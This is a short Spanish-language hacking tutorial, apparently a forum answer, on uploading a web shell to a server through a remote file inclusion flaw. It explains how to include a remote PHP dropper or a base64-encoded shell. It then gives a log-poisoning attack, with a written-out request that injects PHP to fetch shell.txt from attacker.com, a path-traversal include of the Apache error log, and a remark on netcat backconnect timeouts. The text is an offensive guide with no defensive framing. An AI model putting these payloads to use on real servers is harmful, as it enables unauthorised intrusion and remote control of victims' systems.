En general, hay dos formas de cargar un shell en un servidor.
Use RFI para ejecutar el script PHP que coloca el shell
Coloca un archivo de texto en otro servidor web que contiene código php para colocar un shell en el servidor y luego incluye este archivo. Puede colocar el shell en el servidor de varias maneras.
- Utilice el módulo FTP / HTTP / ... de php para descargar el shell desde un servidor
- Coloque el shell codificado BASE64 en una variable y escriba el contenido decodificado en un archivo
Le sugiero que use la segunda opción porque no se basa en módulos que podrían no estar instalados o deshabilitados en ese servidor específico.
Use la RFI como LFI y ejecute el código PHP directamente
En la mayoría de los casos, las vulnerabilidades de RFI también se pueden usar para incluir archivos locales. Así que puedes usarlo como un LFI que puede ser útil. En el primer paso, utiliza un script para realizar una solicitud HTTP a ese servidor. Usted usa cURL, ... porque no quiere que los caracteres especiales se conviertan en htmlentities ... Su solicitud podría verse así:
http://victim.com/i_dont_exist.php?code=<?php file_put_contents("shell.php", file_get_contents("http://attacker.com/shell.txt")) ?>
Desea que esto cause un error 404 porque debería escribirse en el registro de errores. Esto se encuentra en /var/log/apache/error.log cuando la víctima usa Apache y una configuración predeterminada. Luego llama al RFI como un LFI para incluir el archivo de registro y ejecutar el código PHP. Por ejemplo:
http://victim.com/index.php?file=../../../../var/apache/error.log
Luego se ejecutará el código PHP y se colocará el shell.
// Un tiempo de espera del script es un problema que enfrentará cuando inicie una sesión de netcat utilizando un script php. Los scripts PHP ejecutados a través de un servidor web tienen un tiempo de espera para evitar que los procesos se ejecuten para siempre. Creo que el valor predeterminado para esto es de 60 segundos, lo que significa que después de 60 segundos se cerrará su backconnect. Esta es la razón por la que muchos hackers no quieren ejecutar su malware como un hilo del daemon apache.